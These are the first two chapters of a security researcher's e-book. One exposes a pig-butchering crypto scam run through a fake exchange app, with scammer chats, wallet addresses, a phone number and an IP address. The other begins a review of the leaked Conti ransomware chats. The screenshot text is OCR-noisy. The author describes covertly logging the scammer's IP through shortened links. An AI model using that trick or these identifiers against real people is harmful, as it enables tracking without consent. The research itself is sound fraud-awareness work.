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Introduction

In 2009, with the motto “Knowledge is power and grows as it
is shared,” I created my blog aiming to increase awareness of
information security by featuring numerous technical articles.
As a result of the positive feedback I received from my readers
over the years, I decided to compile my writings into e-books
on a yearly basis and share them with cybersecurity
enthusiasts.

With the hope that these articles, which I wrote after
dedicating effort, time, and resources to research, would be
beneficial for those looking to improve themselves in the field

of cybersecurity.

Mert SARICA

https://www.hack4career.com

https://twitter.com/mertsarica

https://www.linkedin.com/in/mertsarica
CCISO, CISSP, SSCP, OSCP, CREA & CEREA



https://www.hack4career.com/
https://twitter.com/mertsarica
https://www.linkedin.com/in/mertsarica

This book was produced using

[ZIPRESSBOOKS

Pressbooks provides educators, authors, & scholars with

powerful tools for creating, adapting, & sharing their ideas.

Learn more about how you can use Pressbooks to publish
beautiful and accessible books on the web and in print-ready
formats at https://pressbooks.com/get-started.
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1. Exposing Pig

Butchering Scam

Over the years, as I have been targeted sometimes directly

(LinkedIn Scammers, Sponsored Scamming) and sometimes

indirectly (Who Viewed My Profile?) by scammers, I have made

it my duty to write about these attempts in blog posts and warn
those around me about them. At times, I have even received
messages about scams from my spouse, friends, and close ones

and have tried to write about them (Instagram Scammers)

whenever I get the chance. And now, I am here again with a
new scam attempt to expose.

As I announced through my Twitter account in June 2022,
this attempt started with a message from a protected Twitter
account named Anna on June 14, 2022. In this message, Anna
started the conversation by talking about how she hasn’t seen
me in a long time. After learning my name (Mark *fake*), where
I live (a Belgian living in Turkey *fake*), and what I do (CFO of
a FinTech company *fake”), the topic shifted to where I invest


https://www.mertsarica.com/linkedin-scammers/
https://www.mertsarica.com/sponsored-scamming/
https://www.mertsarica.com/who-viewed-my-profile/
https://www.mertsarica.com/instagram-scammers/
https://twitter.com/MertSARICA/status/1536743324144414722
https://twitter.com/Anna09339609
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my money and the loss of value of Bitcoin cryptocurrency at
that time.

@ Annag

Anna

Investment, one of the founders of import and export trading company,
photography enthusiast, travel is the truth of finding soul.

100 19

Hello, long time no see

My friend, what are your plans for today?

Training.

What kind of training do you do? What's it
about?

Walking on the treadmill




> C 0
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& twitter.com
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@ twitter.com/Ann

Home

Explore

Notifications

Messages

Bookmarks

Lists

Profile

More

Mert SARICA &

Hack 4 Career

Investment, one of the founders of import and export trading company, photography
enthusiast, travel is the truth of finding soul.

These Tweets are
protected
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o

¥ ?\, Anna B

Finance is usually very sensitive to numbers. | guess
you must have been exposed to cryptocurrency or
stock investments.

Yes, | keep some amount of bitcoin and altcoins in my
digital wallet. While bitcoin's price drops recenly, | go
on investing more coins for my bucket.

It seems that you invest in long-term holding.

Yes, | am a hodler

Yes, Bitcoin has been falling recently.

Although | invest in cryptocurrencies, | don't make
long-term investments. As you know, the
cryptocurrency market has been very unstable in
recent years, and the risk of choosing any type of
currency has also increased. | only do short-term
bitcoin trading for 30 seconds, and get the data
calculated by the head and shoulder formula and Kelly
formula. And seize a good trading node and buy the
ups and downs of Bitcoin within 30 seconds, so as to
obtain a stable profit.

I took a break from the conversation and decided to find out
who the photo on Anna’s profile really belonged to, as I
suspected it was fake. To do this, I used the Visual Search
feature of the Yandex search engine and discovered that the
profile photo belonged to a Chinese person named Shasha


https://yandex.com/images/
https://yandex.com/
https://www.instagram.com/zhaosasa/
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Zhao. When I looked at the photos shared on Shasha’s profile,
I found the exact photo on Anna’s profile.

Vandex = i Uploaded image x search () ©  Regster | Login

videos d
@ instagram com
Perfido de COSMINECKUE BPC

Caetnana Koponesa, Bbikoso, Poccus
# liveuserpage.com
Vipuia Anexcansm

Instagram @zhaosasa 1P #zhaosasa, #chinese, & [, #china, #asian, I i,

m #asiangirls, #lamer, % %, E %, #O0HBCHE, #beauty, #cute #zhao
igirisin
D. ’

Instagram @zhaosasa 1P #zhaosasa, #lamer, 3 %, iE 9, #018CHS,

m #beauty, #cute #zhaosasa #lamer % % IE 4 #0HECHS #beauty #cute
s im
Inst zhaosasa 1P #zhaos &, I $#, #ok #beauty, #eut

Xapnau3ana (@kherlenzaya) Twitter

APBEOS®

@ xnaofai:‘:‘ quww
@ z‘hiwsnuber\\me

@ !esreiowieies o
m hanada528 Xt o
oQv A

3,554 likes



https://www.instagram.com/zhaosasa/
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Anna, who initially claimed to live in Singapore and founder
of a garment import and export trading company, asked to
continue the conversation on WhatsApp and shared a US
phone number (+19295654212) with me. When I questioned
her about using a US phone number, she changed her story,
saying she lived in the US for business reasons. To pique my
interest, she then claimed to have made a profit of around
$715,000 from a crypto investment of $300,000. I informed her
that I was considering investing $500,000 to see her tactics for
quickly making a profit.
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. ?; Anna @

Funds management

Total assets (USDT)

715460

= 714458.3560 USD

Recharge Withdraw Exchange Transfer

Contract Futures Lock-u

All the deals | made this month

1 only used $300,000 as the principal.

No, I Il move back to Belgium next month.

1 have 500.000 USD to invest but | go on keeping eye
on Bitcoin's price -

After sharing that I consider her to be a very good investor
and want to invest with her, she told me that I need to enter
the MonexCrypto platform for short-term investments. She
also shared that I need to visit the
https://app[.]Jmonexcrypto[.]Jnet address, download the

mobile application, and register.
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P
!,’f; Anna @

Yes, after the purchase is completed, transfer it to the
short-term exchange for operation.

You also need a short-term exchange.

app.monexcrypto.net

Here is a link to the short-term exchange | am using.

You click the link to download and register an account
of your own.

If you encounter any problems, give me screenshots
and | will teach you.

Ok | will and let you know

I went to the website to download the mobile application and
when I looked at the source code of the webpage, I found
out that there was both an Android (update.apk) and an iOS
version of the app. After uploading the Android app to
VirusTotal and Pithus, a mobile threat intelligence platform,

and quickly checking the somewhat suspicious results, I
decided to thoroughly examine the version developed for the

iOS operating system.


https://www.virustotal.com/gui/file/9e6906a6d64c796c63f444075b835eeaf56a07251ff41a5347dd44fdc44cc9fd/details
https://beta.pithus.org/
https://beta.pithus.org/report/9e6906a6d64c796c63f444075b835eeaf56a07251ff41a5347dd44fdc44cc9fd

& app.monexcrypto.net
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MonexCrypto

2

€] humi ) (€] body | (E) adownload-btn

100CTYPE htal>

Class="d
install</s

js></script>

(@ body

oma, aral, pingfang

helvetica, tah
sc,microsoft yahed, sinsun

« © & appmonexcrypto.net
var appContis =
com/bayue0s/takst /raw/main/ jusp.nobilepro

jump: “heep
android: d/update.agk',

& github.com

TR Linkedin % Mert SARICA (mer... 1 Inbax - mert.sarc

Search or jump to, Pull requests Issues Codespaces Marketplace Explore

takst
Actions Projects

Add files via upload

Delete jump.mobileprovision

@ bovuecs

Add files via upload

Delete jump.mobileprovision
1008
Add files via upload

bayueos

Computed
Box Model

position

nt-smoothing: antialia
hment.scroll
- border-box
lor: W rgb{(21, 125, 241)
round-image: none
i padding-box

* @ W % O & (update

n © » ¥ 0O € (Update

B9 Other Bookmarks:

8+ O

After seeing that the mobileprovision file, which enables third-



https://developer.apple.com/documentation/technotes/tn3125-inside-code-signing-provisioning-profiles

12 mertsarica

party applications to run on the iOS operating system, is stored
on GitHub, I viewed the information about the developer/
company (QuanLi Network Technology Co., Ltd.
(SRD7J8LLBYV)) registered in the Apple Developer Program.

© © jump.mobileprovision.2205.202: mobileprovision

:JSRD7J8LLBV.com.weiquanli.iosplayer
:JQuanLi Network Technology Co., Ltd. (SRD7J8LLBV)
:§ioS
:Wf464148a-77ac-4a72-a15e-fled214212f8
Provisions All Devices:fYes
Creation Date:fjJun 4, 2021 at 03:02:28 EDT
Expiration Date:fjJun 4, 2022 at 03:02:28 EDT

ENTITLEMENTS

keychain-access-groups:jJSRD7J8LLBV.*, com.apple.token
com.apple.external-accessory.wireless-
configuration:
com.apple.developer.healthkit.access:jjhealth-records
com.apple.developer.ul i ISRD7J8LLBV.*
container-identifiers:

get-task-allowffialse 0000000000 ]
com.apple.developer.default-data-JNSFileProtectionComplete

protection:|
com.apple.developer.associated
dom:
com.apple.developer.team-identifiel
com.apple.security.application-groups:
application-identifier:;}SRD7J8LLBV.com.weiquanli.iosplayer
com.apple.developer.ubiquity-kvstore-§SRD7J8LLBV.*
identifier:|
com.apple.developer.homekit:|

CERTIFICATES

Name:ffiPhone Distribution: QuanLi Network Technology Co., Ltd.
Creation Date:JApr 9, 2020 at 10:39:23 EDT
Serial Number|
SHA-1:JF4AD79B2285828A32B124AC7EB4D664013F8CCC5



https://github.com/bayue08/takst
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Expires In 4 months

:§ZGP66P34K5.aah.sfgas.xhgsGF
henzhen Lelemi Infotech. Co., Ltd. (ZGP66P34K5)
:Ji0S
:l15c4bf519-007¢c-4086-a982-9f207a6dde4f
Provisions All Devices:jlYes
Creation Date:fjJun 3, 2022 at 12:26:24 EDT
Expiration Date:fjJun 3, 2023 at 12:26:24 EDT

ENTITLEMENTS

application-identifi 'GP66P34K5.aah.sfgas.xhgsGF
keychain-access-grou '‘GP66P34K5.*, com.apple.token
aps-environment:|
get-task-allo
com.apple.developer.team-identifier:|

CERTIFICATES

Name:fliPhone Distribution: Shenzhen Lelemi Infotech. Co., Ltd.
Creation Date:fjJun 3, 2022 at 12:12:28 EDT
Serial Number:fJ643F3BOFBOAGEF741647A2F6BAB02784
SHA-1:[§531C2E4E19E6CE6FO93EOE85A5CB4D1C410BAE98

I examined the app.mobileconfig XML file, consisting of

payloads that load settings and authorization information onto

Apple devices. When I ran the file in the Simulator application
located in Xcode, I learned that it is a Web Clip (WebClip)
that opens the https://www.monexcrypto.net web page and

is signed by a developer named Gang Dai.

Web clips: A web clip is an icon on the device Home
screen that links to a website or URL. Web clips can
optionally launch full-screen web apps and can run
offline wusing HTML5 local storage. Configuration
profiles can include web clips that use a custom title
and icon, and can optionally be nonremovable. Web clips
can point students to specific websites for educational
purposes. For more information about configuring web


https://app[.]monexcrypto[.]net/config/app.mobileconfig
https://support.apple.com/guide/deployment/intro-to-mdm-profiles-depc0aadd3fe/web
https://developer.apple.com/documentation/xcode/running-your-app-in-simulator-or-on-a-device
https://developer.apple.com/xcode/
https://www[.]monexcrypto[.]net

14 mertsarica

clips on a device, see WebClip profile page in Apple

Developer documentation.


https://developer.apple.com/documentation/devicemanagement/webclip
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iPhone 13 mini — i0S 15.5
) D

Bu web sitesi bir konfigurasyon profili
gostermek istiyor. izin vermek
istiyor musunuz?

Yok Say  izin Ver

5/YeniYazi/Monex/app.mobileconfig %
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iPhone 13 mini — i0S 15.5
ot D

1:06

< Genel Aygit Yonetimi

INDIRILEN PROFIL

MonexCrypto
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iPhone 13 mini - i0OS 15.5
ot D

Profili Yukle

MonexCrypto

1 iPhone Distribution: gang dai
(83A48VEPWY)

Dogrulandi v/

Web Klibi

Daha Fazla Ayrinti

indirilen Profili Sil

17
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iPhone 13 mini — i0S 15.5
ot D

< Profili Yikle MonexCrypto

WEB KLIBI

Web Klibi

iPhone Distribution: gang dai

(83A48VBPWY)

Apple Worldwide Developer
Relations Certification
Authority
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iPhone 13 mini — i0S 15.5
ot D

< MonexCrypto Web Clip

Etiket

URL
Silinebilir
Tam Ekran

Bildiri Kapsamini Goz Ardi Et
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iPhone 13 mini — i0S 15.5
ot D

< iPhone Distribution: gang dai (83A48...

OZNE ADI
Kullanici Kimligi
Genel Ad
iPhone Di
Kurulug Birimi
Kurulus

Ulke veya Bolge

SERTIFIKA VER

Genel Ad

Apple
Certi

ert
Kurulug Birimi
Kurulug

Ulke veya Bolge
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When I tried to register on the website, I was expected to enter

an Organization Code in the registration form. The purpose
of placing such a code in the form by scammers was probably
to prevent cyber security researchers and/or cyber security
vendors from detecting this page and collecting information,
and they had been successful until now. Whenever I told Anna
that I was having issues in the app installation, she kindly
did everything she could to help me with screenshots. So I
decided to ask Anna for help one more time in finding out the
organization code. (£
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@ Register

& C (Y @ monexcrypto.net/#/pages/register/inde o ™ ¥w O @ Incognito ( Update

£ Hack 4 Career. Inf... in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric... ES Other Bookmarks

< Register

| have read and agree (User Agreement)

When I asked her the organization code, she first wrote
Chinese words (probably she was communicating with me
using a Chinese-English translation service), then she shared
with me the code (768919) that I needed to enter into the form.
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| can not able to install it to my iPhone, do not know
why.

Can be installed

You may not have found the installation package.

It will prompt that the description file has been
downloaded. After the download is completed, click
Settings to see the description file and click Install.

Profile Downloaded

. Airplane Mode

<= Wi-Fi Not Conne

® | Bluetooth
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Anna @ ®

I have installed it.

I can not able to register as it asks me an organization
code which | have no idea what it is

zsenmzamutre R 0UE

Try the 768919 | used.

)

This is the organization code | used.

You try

It worked. Now what is next ? )

Next, buy and transfer.
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&8 =2 i"(?\, Anna 6

SR B ZABNR A UA

Chinese 2

O FEHIHERZ BRI AR

ENGLISH

<) Can you use the one | used before | look for it?

When I successfully registered and started browsing the
website with Web Clip, I saw pages and menus about real-time
market tracking, depositing money into the wallet, withdrawal,
etc.
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iPhone 13 mini — i0S 15.5
o D

Q MonexCrypto

Everyone is looking forward
to the shining debut e

MonexCrypto mining pool is newly
launched

@ src/usDT ¢ ETH/USDT (@ NEO/USDT

Quick recharge - . Contract transac...
Support BTC, USDT, s ‘

H and etc

1~ New purchase

(é\ USDT Flexible earnings

o

vr’q“ L

Transaction rank
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Later, I visited the Recharge page, which I thought could be
the ideal place for scammers to trap their victims, as the page
for depositing and withdrawing cryptocurrency. Like other
exchanges and platforms, when I visited, I was presented with

the addresses of my cryptocurrency wallets.

Funds management X =+

C O 8 nt .monexcrypto.net/

Funds management

Total assets (USDT)

0

=0.0000 USD

Recharge Withdraw Exchange Transfer

Contract Futures

uUsDT
Available Frozen Amount to(USD)
0.0000 0.0000 0.0000

BTC
Available Frozen Amount to(USD)

0.0000 0.0000 0.0000

ETH

Available Frozen Amount to(USD)

0.0000 0.0000 0.0000

NEO
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rging center X +
& = d QO O nttps://www.monexcrypto.net/#/pages/rechargefi >

Charging center

=
—»

Charging channel

BTC

O ETH

& usDT

@ vusoc




Under charging

Save two-diamensional code

Currency charging address

3QX2Csna3FEbXD9PxhgEXL36gAfYXWSwQU

Recharge

Chain name

BTC

Upload picture

Hack 4 Career
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Under charging X —+
C O ﬁ https .monexcrypto.net/#/pages/recharginc

Under charging

Save two-diamensional code

Currency charging address

0xF88997e493C08874d9e0D485463386ABfOEBe6bf

Recharge

Chain name

ETH

Upload picture

On June 28, 2022, Anna realized she was very close to
scamming me, began directing me on how to send
cryptocurrency (USDT) via a cryptocurrency exchange named

Binance to my wallet.


https://www.binance.com/

Hack 4 Career

5 Anna @

If you are herebinancelf you have coins, you don't need
to buy them. You just need to convert them into USDT
and transfer them.

Direct purchase is also possible, but then it needs to
be purchased by wire transfer. The minimum purchase
amount is $3,000, and it will be more convenient to
purchase and transfer with the traditional exchange.

| usually do the same thing, and then transfer back to
the traditional exchange after the transaction.

Where is my USDT wallet address | cant find it.

Give me a screenshot.

I'll show you how to find him.

Just give me the screenshot of the main page of the
exchange.

31
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Py
Ef; Anna 6

Click on it and give me a screenshot.

I'll teach you the next step

Bi Order

0xF88997e493C08874d9e0D485463386ABfOEBe6bf

Recharge
Chain name

ERC20

Upload picture

Bi Order
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As I began to wonder which country Anna was really
communicating with me from, I started to think about what I
could do to find out Anna’s IP address. I guessed that Anna,
who had never suspected me despite the éCyber Security
Researcher” background image on my Twitter profile,
continued to carry on her plan to trap me for 15 days, had no

concern about Operations Security (OPSEC). For this reason, I

decided to share the web addresses of the screenshots I hosted
on my website with Anna by using the Bitly URL shortening
service in order to obtain her IP address.

Because Anna did not hesitate to click on the three bitly
addresses I shared, with the help of the SOCRadar’s IOC Radar
I learned that she was communicating with me from the
45.204.66.140 IP address located in Hong Kong.


https://twitter.com/MertSARICA
https://www.mertsarica.com/opsec-fail/
https://bitly.com/
https://socradar.io/labs/soc-tools/ioc-radar
https://socradar.io/labs/ioc-radar/results/0cdac592cf9b47579f2f07af886d2273
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6]

That is a bit complicated, let me share the screenshots
with you.

okay

Let's start with the transfer.

You openbinanceGive me a screenshot of the
homepage and I'll tell you what you should do.

is this the address of USDT wallet that | have to send
from Binance ? bitly/:

After copying, open Binance to find the transfer, then
paste the wallet address you copied and transfer it.

After successful transfer, go back to the short-term
exchange and upload the certificate of successful
transfer.

You can start trading.

If you have any questions, please take screenshots
and ask me.

After the transfer, | || see the amount of the USDT on
this area, is that correct ? bit.ly/:
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45.204.66.140 - - [02/Jul/2022:17: A +0000] "GET /\mﬂges/ ottt Jog HTTP/1°1% 200 116233 “https://t.cof ! "Mozilla/5.0 (iPhone; CPU iPhone 05 144 like Mac 05 X) Ap
Pl /505.1, 15 (KHTML, Like Gecko) Version/14.0.3 Nobile/1SE148 Safari/60é. 1"
04.66. ;s BE/2uL72022:17:56:40 40000) "GET /images/wallet. g HTTP/L.1 200 4GAOEL “hetps:.//t.cof * "Mozil1a/5.0 (iPhone; CPU iPhone 05 144 like Mac 05 X) Ap
Gecko) Ve 1

45.204.66.140 - - [02/Ju1/2022:17. R +0000] "GET /images/wallet3. jpg HTTP/1.1" 304 183 "https://t.co/ tozi11a/5.0 (iPhone; CPU iPhone 0S 14_4 ike Mac 0S X) Apple
BebkiL/eeS. 115 txmm Like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1"

[02/3u1/2022:17:59:28 +0000] "GET /inoges/wallet3. jpg HTTP/1.1" 200 464081 "https://t.co/ * "Mozilla/5.0 (iPhone; CPU iPhone 05 144 like Mac 05 X) Ap
o\ewmm/ws 1.15 (KHTML, Like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1

Mert SARICA (mer... 1 Inbox -

(<] @ 10C Radar Results S@CRadar

Threat intelligence.

45.204.66.140 Extended.

@ Details © Completed

12813

SKYTELLAO-AS-AP Sky Telecom State Compan.

My

RAW  45204860- 4520466255 aof

As I continued to browse the MonexCrypto website, I decided
to check if the Bitcoin and Ethereum cryptocurrency wallet
addresses were unique to me or same for everyone who joined
the platform. If these wallet addresses belong to scammers and
they show their own addresses as wallet addresses to each
person who joins the platform (victim), they can easily steal
the cryptocurrency from their victims with ease. Based on the
research I conducted on this matter, I discovered that;

On June 28, 2022, when I checked my Bitcoin wallet address
(3QX2Csna3FEbXD9PxhgEXL36qAf YXWSwQU) on the
Blockchain.com website, it was seen that this wallet was
created on June 6, 2022 and until September 29, 2022,
$55,618.73 worth of Bitcoin was transferred to this wallet and
then withdrawn. On the same date, when I checked my
Ethereum wallet address
(0xF88997e493C08874d9e¢0D485463386 ABfOEBe6bf) at the
same place, it was seen that this wallet was also created on
June 26, 2022 and until November 23, 2022, ~$839.000
worth of Ethereum and USDT was transferred to this wallet.
Again, on the same date, this time checking my USDC wallet


https://www[.]monexcrypto[.]net
https://www.blockchain.com/explorer/addresses/btc/3QX2Csna3FEbXD9PxhgEXL36qAfYXWSwQU
https://www.blockchain.com/explorer/addresses/eth/0xF88997e493C08874d9e0D485463386ABf0EBe6bf
https://www.blockchain.com/explorer/addresses/eth/0xcfddf006ec9f4af5bf34a6f71af41655fb7d4167
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address (0xcfddf006ec9f4af5bf34a6f71af41655fb7d4167), it
was seen that this wallet was created on June 17, 2022 and

until August 16, 2022, ~$46.000 worth of Ethereum and
USDT was transferred to this wallet.

& C O @ blockchain.com/explorer/ac

A Hack 4 Career. Inf... i Linkedin Mert SARICA (mer... 4 Inbox - mert.saric.

& Blockchain.com Searc a @
@ tome 240 WS Corsenoiuso 0% NSl  Dogeconiusd 0o [EGIEI  PobgoniUso 11 BGISEI  Opimsmusd 230 MAZEEl  OKBIUSD ises EGEGM]  Pokadotsp st
o rices

Bicain daress

5OX2CsnaSFELKDIPXNGEXL S6GANXWSNQU
© chats i
® wn Bitcom Baance

0.00000000 - s000
Oefi

m|
Aoademy THE FIRST AAA MMORPG  guzmmm
GAME FOR WEB3 l

Wallet Wallot

&6 Exchange Summary \
233969676870 233969676870 warmm2eTe

Qe % @46 »00

Mert SARICA (mer... 1 In & o

5. Dowsapers rof DOUBLE S S PLAY NOW

Mert SARICA (e
% Blockchain.com 0xF880976493C08874d90D4B546 336 ABIOEBeGD! a %
B tome Pogenuso 17 EESEN  OVBUSO 02 BN  Optimamuso 232 NN Awancheso 205 BEBN  PokadotlSD 665 RIIN  CraiousD 741 NN Shbauuso coosel NI Lieconus

0Oxcfd-d4167 usp

Q a::

349870 16551674167

FREE JACKPOT —
N e
O welet
& Exchange
- e — o _—

Disclaimer: I would like to remind that I am not an
IRS agent or a Blockchain expert capable of tracing
end-to-end cryptocurrency transfers as described in
the book Tracers in the Dark: The Global Hunt for



https://www.irs.gov/
https://www.amazon.com/Tracers-Dark-Global-Crime-Cryptocurrency-ebook/dp/B09SKW8WRV/
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the Crime Lords of Cryptocurrency in case of any

€ITOorS. (=

From the date I registered on the MonexCrypto website, June
26, 2022, to January 29, 2023, I roughly checked my wallet
addresses 5 times by logging into the MonexCrypto website,
and I noticed that they changed every time. Based on this
information, the wallet addresses were not individually
produced, but were the scammers’ own wallet addresses, and
they changed these addresses at certain intervals. When I listed
and gathered the wallet addresses and the money transfers
made to these wallets, I realized that the scammers had stolen
approximately 3 million dollars worth of cryptocurrency, to
the best of my estimation.

A B c
Blockchain Type Wallet Address ~Stolen Amount (USD)
Bitcoin 3QX2Csna3FEbXDIPXxhgEXL3BGAFYXWSwQU $55,618.73
Ethereum 0xF88997e493C08874d9e0D485463386ABfOEBe6b $818,800.00
Ethereum O0XxCFDDFO0BECIF4AF5BF34A6F71AF41655FB7D4167 $46,000.00
Ethereum 0x392667b0CDfIB04Ce5C48754Ea4185056A65DD31 $246,000.00
Ethereum 0x66FD1C86ae25BDd278bb90f11741668392EBB540 $675,000.00
Ethereum 0xA9434DFb0fa3f29fc6324AA60DB377C863022f13 $204,000.00
Ethereum 0xC495928233A6E44330151B7A55234A3d7AT54D7 $564,000.00
Ethereum 0xaE7AGF74c09BDB3E1e17651040C070A65ACH7859 $134,000.00
[Total Stolen Amount (USD) | $2,743,418.73]

Of course, while I was trying to unmask Anna on July 18th,
2022, the FBI issued a warning against fraudulent attempts
made through fake crypto exchanges/investment applications
like MonexCrypto. According to this warning, approximately
42.7 million dollars worth of crypto had been stolen from
244 people worldwide. I had already learned how 3 million
dollars were stolen. (£

In 2021, the FBI’s Internet Crime Complaint Center
received more than 4,300 submissions related to pig


https://www.amazon.com/Tracers-Dark-Global-Crime-Cryptocurrency-ebook/dp/B09SKW8WRV/
https://www.fbi.gov/
https://www.ic3.gov/Media/News/2022/220718.pdf
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butchering scams, totaling more than $429 million
in losses. And at the end of November, the US
Department of Justice announced that it had seized
seven domain names used in pig butchering scams in
2022. (Source: Wired)

Anna, who exhausted all means of persuasion to deceive me
from June 14th to July 6th, 2022, she started sending
messages full of complaints on July 6th. I put an end to our

conversation with the bad guy smile by informing Anna of the

FBI's warning on August 1st, 2022. (£

Haven't you finished your authentication yet?

Not yet. :/

| am on vacation, do it on next week.

awfully sorry

| can't understand.

Why do people always have the habit of
procrastinating about such little things? It's justit's just
verification. You can be ready.

| can't understand why things that can be done in a
few minutes should be delayed.

What is wrong 1 week ?


https://www.wired.com/story/pig-butchering-scams-evolving/#:~:text=The%20FBI's%20Internet%20Crime%20Complaint,than%20%24429%20million%20in%20losses.

It's nothing

| just don't understand why such simple things have to
be delayed.

Isn't it best to do such a thing when you have a rest?

Sorry,Maybe it's because | don't like to procrastinate,
and | can't understand such things.

People always like to put off the simplest things until
the end.

Don't invest in cryptocurrency, | thought you weren't
suitable for it. You can't even do such a simple thing
well.

Enjoy your vacation, sir,

After a period of conversation, | feel that you are not

suitable for investing in cryptocurrency. You always

procrastinate when you can't even do such a simple
e g :

Hack 4 Career
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£\
l!?, Anna 68

You can wait until next week. It's your right, but I'm not
going to teach you. You didn't cherish it when | gave
you the opportunity to learn.

You can study it yourself.
Or find someone else to teach you.

| don't like people who procrastinate, because it is a
trivial matter.

| have no reason to wait for you. | have given you many
chances.

How do you do ?

hello

What's the matter?

FBI warns of fake cryptocurrency apps used to defraud
investors

Have votl raad thie article ?
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It seems that Anna continued to catch new victims in her
web without slowing down in the following months and was
successful, as some user passwords were also stolen when they
entered the monexcrypto.net site on September 5th, 2022,
according to information detected as stolen by a malicious
software (Stealer) on the SOCRadar Cyber Threat Intelligence

platform

By October, the Monex Group issued a warning that two more

websites, starting with the monexcrypto.net website, were

using the group logos without permission.

=

[ comactus  BEME | sx

MONEX GROUP

WhoWeAre  OurGroup  NewsRelease  Forlnvestors  ESG Information

[Notice] Spoofing websites using Monex Group logo and
company name

0Oct 05, 2022

We are currently receiving several reports of spoof websites using Monex Group logo and company name. The
websites using the following domains are detected an not operated by our group. Please be careful not to access any
suspicious services/websites or enter any of your personal information.

- Monexcrypto.co

- Monexcrypto.net
- monexcrypto.me

e )

As a result, we have learned in detail how Anna and her

scammer friends carried out the Pig Butchering Scam, a well-



https://socradar.io/quick-facts-on-the-worlds-top-infostealer-malware-threats/
https://socradar.io/
https://socradar.io/
https://www.monexgroup.jp/en/news_release/news_release/news_release-3780221818406228977.html
https://www.wired.com/story/what-is-pig-butchering-scam/
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designed fraudulent scheme, and how they made millions of
dollars in loot, from the applications downloaded not only from
3rd party websites but also from the Apple App Store and
Google Play Store.

Pig Butchering scam is named after the practice of
fattening a pig for slaughter. In this case, scammers
build a relationship with a victim online before
convincing them to send money or invest in high

yield crypto-currency accounts.

I strongly request you to share this article with your friends,
loved ones to raise security awareness. Hope to see you in the

following articles.


https://news.sophos.com/en-us/2023/02/01/fraudulent-cryptorom-trading-apps-sneak-into-apple-and-google-app-stores/
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2. Practical Data

Leakage Analysis

Conti, a Russian-backed cybercrime group that earned $180
million in revenue from ransomware attacks in 2021, reached a
major turning point in 2022 with Russia’s invasion of Ukraine.
The group publicly supported the Russian invasion, resulting
in a rift among its international members. One member began
leaking internal messages from 2020-2021 on a Twitter account
(@ContiLeaks), including the source code for the ransomware
they used in their cyberattacks. The group was considered one
of the most notorious cybercrime groups in the world.

43


https://en.wikipedia.org/wiki/Conti_(ransomware)
https://twitter.com/BrettCallow/status/1497249143663652865
https://twitter.com/ContiLeaks/status/1505433648023146499
https://twitter.com/ContiLeaks/status/1498030708736073734

44 mertsarica

€ > C o0 (& nhtps: r.com/ContiL

£ Hack 4 Career. Inf... in Linkedin % Mert SARICA (mer... ¥ Inbox - mert.saric...

4 - conti leaks

Anasayfa

Kegfet

-

Bildirimler

Mesajlar conti leaks

Yer isaretleri fuckru gov

Listeler

Profil =

Tweetler

DELEREVE]

conti leaks
Tweetle Ukraine will Rise! fresh jabber logs

conti leaks
Mert SARICA 6 onf 1/I13b7n7L6xc/con... - conti source without locker src.
< contileaks
Anasayfa
conti leaks
Kegfet nfile:

Bildirimler
Mesajlar
Yer isaretleri

Listeler

. conti leaks
Profil ey
BELEREVAE]
Q conti leaks
conti leaks
conti jabber leaks anonfiles

As a cybersecurity researcher, when data from such threat
actors is leaked, one of the things that interests me the most
is whether the data includes information about hacked
organizations in Turkey, as well as non-Russian, English
messages. If you ask me why, it’s because I can have the
opportunity to learn how extensively Turkey is targeted by
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these threat actors and which nationalities are involved in
such internationally organized crime groups. To find out, I
decided to conduct cybersecurity research to provide insights
to cybersecurity researchers who are also interested in this

topic.

First, I downloaded the files that include the Conti group’s
messages from the sharing area of the vx-underground website.
When I extracted all the zip files, more than 11,000 files came

out.

x o (s share.vx-underground.org) hov) @ BN

& HackCareer.In.. I Linkedin ¥ Mert SARICA (mor... 1 Inbox - mert.saic B3 Other Bookmarks | [ Reading List

Directory: Conti/

File Name | File Size |
Parent directory/
Conti Chat Logs 2020.72 2022-03-01 02:46:14
nti Documentation Leak.7: 2022-03-01 05:29:38
Conti Interal Software Leak. 3911885 2022-03-01 02:
Conti Jabber Chat Logs 2021 - 2022.72 1160294 2022-03-02 13:10:39
Conti Locker Leak.7z 6852466 2022-03-05 04:29:03
Conti Pony Leak 2016.72 62014991 -03-01 02:51:14
Conti Rocket Chat Leaks.7z 3; 2022-03-01 02:47:40
nti Screenshots December 2021 9 2022-03-01 02:46:06
Conti Toolkit Leak.7z 94186791 2022-03-01 02,

Conti Trickbot Forum Leak.7z 8542211 2022-03-01 02:50;

Conti Trickbot Leaks.7z 955850 2022-03-01 06:52:40

Training Material Leak o 1969-12-31 18:00:00

o0 Leak — -zsh — 96x30

mertrix@Hack4Career Leak % ls -al

total @

drwxr-xr-x 14 mertrix staff 448

drwxr-xr-x@ 48 mertrix staff 1536 .

drwx— 150 mertrix staff 4800 ] Conti Chat Logs 2020

drwx-— mertrix staff 96 129 Conti Documentation Leak

drwx— mertrix staff 448 : Conti Internal Software Leak
mertrix staff 12736 8 Conti Jabber Chat Logs 2021 - 2022
mertrix staff 96 A Conti Pony Leak 2016
mertrix staff 320 147 Conti Rocket Chat Leaks
mertrix staff 224 :35 Conti Screenshots December 2021
mertrix staff 128 :39 Conti Toolkit Leak
mertrix staff 1760 : Conti Trickbot Forum Leak
mertrix staff 128 : Conti Trickbot Leaks
mertrix staff 288 :31 conti_locker
mertrix staff 128 g jabber_logs

mertrix@Hack4Career Leak % find . | wc -1

11289
mertrix@Hack4Career Leak % I



https://share.vx-underground.org/Conti/
https://www.vx-underground.org/
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After learning that the messages are stored as readable text in
JSON files (Example: 185.25.51.173-20220301.json), my first task
was to use the following regex-supported GREP command to
find and deduplicate all IP addresses in the files. I ended up
with a total of 3819 IP addresses that match these two regex

patterns, which I saved in a file named “ip.txt.”

grep -R -E -0
"(25[0-5]12[0-4]1[0-9]|[01]?[0-9][0-9]1?)\. (
25[0-5]12[0-4]1[0-9]|[01]?[0-9][0-9]1?)\. (25
[0-5]12[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0

-5]112[0-4]1[0-9]|[01]?[0-9][0-9]?)" >
../ips.txt
grep -iRE

" (\b25[0-5]1 |\b2[0-4]1[0-9] [\b[01]2[0-9][0-9
12) (\.(25[0-5112[0-41[0-911[01]12[0-9][0-9]

2)){3}" ../1ips.txt | grep -E -0
"[1-91{1,3}\.[0-91{1,3}\.[0-9]{1,3}\.[0-9]

. L .
{1,3} | sort | unig -1 > ../../ip.txt
